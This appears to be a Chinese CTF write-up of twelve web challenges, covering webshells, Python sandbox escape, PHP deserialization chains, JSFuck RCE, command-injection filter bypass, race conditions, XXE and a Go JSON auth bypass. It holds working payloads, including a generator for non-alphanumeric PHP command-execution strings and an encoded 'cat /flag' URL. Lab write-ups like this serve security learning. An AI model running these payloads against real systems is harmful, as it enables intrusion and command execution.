1.05_em_v_CFK

进入环境显示是一个商店,需要购买 flag,先抓包尝试可不可以修改数据,有没有逻辑漏洞

尝试一下是不行的,传了个参数,一个是商品 id,一个是 buy 表示是否购买,开始还尝试了一下 buy 是否可以修改金额发现不可以,单纯的标识,id 也没什么用,再回顾一下题目

提示留了 webshell,信息搜集一下

前端暗藏了一段密文,开始只尝试了一下 base64 解密,没解出来就放弃了,查看题解才知道需要先 rot13 解密再 base64 解码,解出来:
我上传了个shell.php, 带上show参数get小明的圣遗物吧
访问/shell.php?show 显示 404,疑惑,不解,遂想起信息搜集时发现过一个目录:uoloads,尝试访问/uploads/shell.php?show:

找个 md5 解密网站解密得到 key=114514

执行命令,在根目录下没有找到 flag

查看 index.php,buy 仅作为进入 if 语句的条件,查询语句也有预处理,所以开始对两个参数进行测试不行,同时固定 money=3,开始测试时也发现每次买完之后钱又会回复到 3,考虑能不能直接修改 money=50

写入一句话木马
直接下载 index.php 文件修改后上传
2.Eazy._Pyrunner

一点不会哈,第一次做 python 沙箱逃逸的题目,照着大佬链接复现一下:
https://blog.csdn.net/RisingFan/article/details/157684234?spm=1001.2014.3001.5501
首先存在文件读取,读取 app.py:from flask import Flask, render_template_string, request, jsonify import subprocess import tempfile import os import sys app = Flask(name) @app.route(’/’) def index(): file_name = request.args.get(‘file’, ‘pages/index.html’) try: with open(file_name, ‘r’, encoding=‘utf-8’) as f: content = f.read() except Exception as e: with open(‘pages/index.html’, ‘r’, encoding=‘utf-8’) as f: content = f.read() return render_template_string(content) def waf(code): blacklisted_keywords = [‘import’, ‘open’, ‘read’, ‘write’, ‘exec’, ‘eval’, ’__’, ‘os’, ‘sys’, ‘subprocess’, ‘run’, ‘flag’, ''', ’”’] for keyword in blacklisted_keywords: if keyword in code: return False return True @app.route(‘/execute’, methods=[‘POST’]) def execute_code(): code = request.json.get(‘code’, ”) if not code: return jsonify({‘error’: ‘请输入Python代码’}) if not waf(code): return jsonify({‘error’: ‘Hacker!’}) try: with tempfile.NamedTemporaryFile(mode=‘w’, suffix=’.py’, delete=False) as f: f.write(f"""import sys sys.modules[‘os’] = ‘not allowed’ def is_my_love_event(event_name): return event_name.startswith(“Nothing is my love but you.”) def my_audit_hook(event_name, arg): if len(event_name) > 0: raise RuntimeError(“Too long event name!”) if len(arg) > 0: raise RuntimeError(“Too long arg!”) if not is_my_love_event(event_name): raise RuntimeError(“Hacker out!”) import(‘sys’).addaudithook(my_audit_hook) {code}""") temp_file_name = f.name result = subprocess.run( [sys.executable, temp_file_name], capture_output=True, text=True, timeout=10 ) os.unlink(temp_file_name) return jsonify({ ‘stdout’: result.stdout, ‘stderr’: result.stderr }) except subprocess.TimeoutExpired: return jsonify({‘error’: ‘代码执行超时(超过10秒)’}) except Exception as e: return jsonify({‘error’: f’执行出错: {str(e)}’}) finally: if os.path.exists(temp_file_name): os.unlink(temp_file_name) if name == ‘main’: app.run(debug=True)
代码对一些可以执行命令的危险函数做了过滤

解释一下 sys.audit:
python3.8 引入的一个安全机制,能够检测 python 解释器中发生的事情,当执行 python 内部关键函数时会调用 sys.audit,可以通过 sys.addaudit hook 注册一个监控函数
def my_audit_hook(event, args): if event == “os.system”: print(f”警报!检测到危险操作:{event},参数为:{args}”) # 如果你想阻止它,可以直接抛出异常 raise RuntimeError(“你不允许执行系统命令!”)
sys.addaudithook(my_audit_hook)
这里的监控函数做了两层限制,一是ismy love event(event name)只允许传入的事件名称以’Nothing is my love but you.开头,二是if len(event_name)>0: 只允许事件名称长度小于 0,这两层限制让我们执行不了内置函数
绕过手段重新定义 len 和 is_my_love_envent
len=lambda x:0 is_my_love_event = lambda x: True
通过 lambda 表达式污染 len 和 is_my。。。这两个方法
解释:当 python 在执行名词解析时遵循以下顺序:
-
当前函数的局部作用域
-
当前模块的全局作用域
-
builtins
我们在当前作用域重新定义 len 来替换 python 内置的 len 从而绕过,有点不准确,我们并没有修改 python 内置的 len 函数,只是重新定义了一个 len,因为这个 len 是在当前作用域定义,所以他的查找的优先级高于 python 内置的 len,所以当在当前模块执行 len 时就会调用我们自定义的 len
使用print(dict(vars()).keys())查看当前定义域所有变量
输出:

看到可以利用的高风险变量:builtins,它是一个包含 python 所有内置函数,变量等的字典,我们可以通过他调用高危函数,不过直接使用肯定不行,我们可以通过 chr 编码字符来绕过,通过链子:globals->builtins->危险函数->执行命令
3Ezphp
class Sun{ public $sun;
public function __destruct() { die("Maybe you should fly to the " . $this->sun); }}
class Solar{ private $Sun; public $Mercury; public $Venus; public $Earth; public $Mars; public $Jupiter; public $Saturn; public $Uranus; public $Neptune;
public function __set($name, $key)#给不可访问属性赋值时触发 { $this->Mars = $key;//路径 $Dyson = $this->Mercury; $Sphere = $this->Venus;//Reflection $Dyson->$Sphere($this->Mars); }
public function __call($func, $args)#调用一个对象中不可访问的方法时触发 { if (!preg_match("/exec|popen|popens|system|shell_exec|assert|eval|print|printf|array_keys|sleep|pack|array_pop|array_filter|highlight_file|show_source|file_put_contents|call_user_func|passthru|curl_exec/i", $args[0])) { $exploar = new $func($args[0]); $road = $this->Jupiter;//invoke $exploar->$road($this->Saturn); } else { die("Black hole"); } }}
class Moon{ public $nearside; public $farside;
public function __tostring()#对象被当作字符串时触发 { $starship = $this->nearside; #当作函数执行 $starship(); return ''; }}
class Earth{ public $onearth; public $inearth; public $outofearth;
public function __invoke()#以调用一个函数的方法调用一个对象时触发 { $oe = $this->onearth; $ie = $this->inearth; $ote = $this->outofearth; $oe->$ie = $ote; }}
if (isset($_POST['travel'])) { $a = unserialize($_POST['travel']); throw new Exception("How to Travel?");}不想写了,引用一下https://blog.csdn.net/RisingFan/article/details/157684234?spm=1001.2014.3001.5501
重点在于throw new Exception(“How to Travel?”);这条语句在对象被反序列化后执行,抛出异常,但没有 catch 接住,脚本进入未捕获异常路径,终止脚本的运行,导致对象的析构没有发生,整条链子也就触发不了了
除了脚本正常执行结束时的析构还有引用计数归零的立刻析构,当对象不被任何对象或数组引用,recount 变为 0 时立即触发析构
构造一个序列化的数组:a:2{i:0;.Object.;i:0;i:0}
当程序反序列化一个数组对象时从左到右执行,遇到 i:0;插入键 0,值为反序列化的对象 ,0=>Object,继续向右执行,再次插入键 0,php 数组中不能存在相同键名,后面的会覆盖前面的,导致对象的引用计数为 0,立即析构,保证链条稳定触发
4.calc?js?fuck!
打开附件:

过滤了字母,只允许数字和一些特殊字符
利用 jsfuck 编码, 只用 6 个字符 []()!+ 就可以构造任意 JavaScript 代码
直接用 Jsfuck 模块编码:
const JSFuck = require("jsfuck").JSFuck;
const code = "return process.mainModule.require('child_process').execSync('ls').toString()";
const payload = `[]["flat"]["constructor"](${JSON.stringify(code)})()`;
console.log(JSFuck.encode(payload));[][“flat”][“constructor”]:[][“flat”] 调用数组的 flat 方法,得到一个函数,所有函数的 constructor 都等于 Function,用 Function(…)来动态执行函数,再加一个()表示立即执行
5.ez-ping

简单命令执行绕过,过了了 cat 和 flag,用 tail,head 代替 cat,用通配符?补全 flag
6.ez-race

题目名称告诉我们是 race 也就是条件竞争,在一看环境是一个商城,盲猜通过领红包时多线程并发拿到更多的 money 购买 flag
试了很久都不行,查看题目源码

当余额小于 0 时会出现 flag,同时有 sleep(1.0),又看了下领红包的逻辑,按道理也应该可以并发导致多领的,可能是没有 sleep(1.0),也可能后端控制了
直接 bp 并发
7.kill_king

进去是一个游戏界面,想都不用想直接查看前端代码:

本来想先从前端代码里找,结果 f12 打不开,只能在 bp 里面查看一下,结果发现请求时有一个 logic.js 文件,那还说啥,直接看 logic.js,搜索 flag,也是成功找到了线索

按要求访问出现了一堆源码

大概意思就是需要传 who are you 三个参数,who are 需要为整数,you 需要是非字母数字的字符串,用来执行命令
照搬一下网上大哥的构造无字母数字的命令字符串:
import urllib.parse
def generate_payload(command, function=“system”):
"""
针对特定的 PHP eval 漏洞环境构造全符号 Payload
模板: . (~函数名)(~参数) .
"""
def tilde_encode(string):
"""对字符串的每个字符进行位取反并转换为 URL 编码格式"""
result = ""
for char in string:
执行位取反 (~),PHP 的取反相当于与 0xff 异或
encoded_char = hex(ord(char) ^ 0xff)[2:].upper()
result += f”%{encoded_char}”
return result
1. 对函数名进行取反编码 (默认 system)
func_part = tilde_encode(function)
2. 对命令参数进行取反编码
cmd_part = tilde_encode(command)
3. 按照你测试成功的“唯一正确模板”进行拼接
%20 是空格,防止数字与点号连用导致的语法错误
payload = f”%20.%20(%7E{func_part})(%7E{cmd_part})%20.%20”
return payload
--- 使用示例 ---
if name == “main”:
print(”--- PHP Eval RCE Payload 生成器 ---”)
cmd = input(“请输入你想执行的系统命令 (例如 ‘ls /’ 或 ‘cat /flag’): ”)
final_payload = generate_payload(cmd)
print(“\n[生成的 Payload 内容]:”)
print(final_payload)
print(“\n[完整的 URL 传参参考]:”)
print(f”?who=1&are=1&you={final_payload}”)
执行 payload;/check.php?who=1&are=1&you=%20.%20(%7E%8C%86%8C%8B%9A%92)(%7E%9C%9E%8B%DF%D0%99%93%9E%98)%20.%20
8.上古遗迹档案馆
按部就班报错注入,嫌麻烦直接 sqlmap 跑就完事了
9.Go

进入环境,回显显示只有 role=admin 才能得到 flag,典型的鉴权绕过,思考怎么修改 role,环境中并没有登录等流程,那 role=guest 是在什么时候标识怎么标识的呢,既然没有登录等流程标识 role,那我直接 post 提交 role=admin 试一下

使用 json 格式 post 提交请求,回显表示 admin 的值被严格禁止出现在 role 里面
既然不能出现在 role 里面,那我将其大写改为 Role,成功绕过
事后知道 go 语言的 json 解析器对大小写不敏感,造成漏洞
10.Mini_Blog



进入环境是一个个人博客界面,初次判断可能存在的攻击点有发布文章界面,可能有 xxs 漏洞,上传头像界面可能存在文件上传
开始试了一下文件上传,可以通过双写后缀名的方式上传 1.php.jpg 格式的内容,但上传后利用不了,可能是上传的文件路径禁止 php 解析,将文件名改为../1.php.jpg 企图通过目录穿越到别的目录执行 php 文件,还是不行

又开始在文章发布界面尝试,抓包显示 xml,考虑是不是 xxe 注入,但因为不熟 xxe 注入所以先试了一下 xss,通过字典爆破发现确实存在绕过,可利用绕过方式之一:
</script><script>alert(1859)</script>
可以利用但是找不到 flag 信息

直接尝试 xxe 实体注入,拿到 flag
11.sudoooo0

进入环境显示 403,没有可以访问当前资源的许可
思考这个许可可能是什么,用什么来标识呢?是否和 go 那道题一样?
尝试了一下 post 请求显示 404,又尝试随便携带了几个参数试试水,都不行哈
又想这个凭证会不会是本地凭证?只有本地 ip 才能访问到受限资源?
尝试添加 X-Forwarded-for 头和 X-real-ip 头,还是不行

又尝试更改 host 头,还是不行,但是发现回显页面的内容改变,某处字符变成了更改的 host 值的内容,猜测是否存在命令执行或者 sql 注入?host 值的内容是否被无条件拼接进某处内容并执行代码?
经过测试 host 值的内容只允许 纯字符串或 ip 地址格式的内容,并发现服务器的内网地址:10.42.125.35 ,将 host 值改为服务器的内网地址还是不行,有点力竭了。。。
直接查看题解发现存在 webshell.php 可以执行命令,淦!!开始用 dirsearch 扫居然没扫出来,尝试使用字典扫才扫出 webshell.php,看来还是不能 dirsearch 一扫就完事了

访问页面显示一片空白,但是 200 表示路径的确存在且可访问, 试了几下还以为环境出问题了,联想一下 webshell.php,很明显这个文件中有一句话木马用来执行命令,想到平时传 webshell 时页面也是一片空白,可能是需要传一个参数,对参数进行猜测,

cmd 为正确参数

利用 cmd 执行命令发现/flag,尝试读取却无显,以为过滤,尝试了几个还是不行,猜测是因为权限不足,也和题目 sudo 对应起来,需要 sudo 提权,暂时还不会
12.你也懂 java?

利用 jdgui 打开下载的附件,发现是简单的 java 反序列化,就是将 Note 对象的 filePath 改为 flag 路径就行